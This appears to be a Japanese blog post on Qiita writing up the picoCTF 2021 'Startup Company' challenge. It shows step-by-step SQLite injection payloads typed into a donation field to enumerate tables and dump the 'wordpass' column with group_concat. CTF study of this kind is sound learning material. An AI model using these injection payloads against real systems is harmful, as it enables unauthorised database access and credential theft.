0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

picoCTF 2021 Startup Company

Last updated at Posted at 2021-04-01

できなかった問題をwriteup等を参考に勉強した記録を残す。

Startup Company

image.png

Register のリンクから登録して

image.png

ログインすると,寄付を募るページ

image.png

1ドル寄付してみた
image.png

'を入力してみた
image.png

チェック処理がある

Fiddlerで'を送ってみる
image.png
Database error -> SQLiの可能性アリ

ヒント
sqlite

SQLiがとおるか?

moneys='||(select sqlite_version()) --

image.png

image.png

テーブル数確認

moneys='||(select count(*) from sqlite_master where type = "table") --

image.png

image.png

テーブル名確認(複数テーブルがあったときに備えてlimit使用)

moneys='||(select name from sqlite_master where type = "table" limit 0,1) --

image.png

テーブル作成時のsql確認

moneys='||(select sql from sqlite_master where name = "startup_users") --

image.png

wordpassにフラグが入ってそう。
件数を数えてみる

moneys='||(select count(*) from startup_users) --

image.png
多いな
limit だと39回か。しんどい。

moneys='||(select group_concat(wordpass) from startup_users) --

image.png

limitでも7回目で成功するように仕込んでる。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?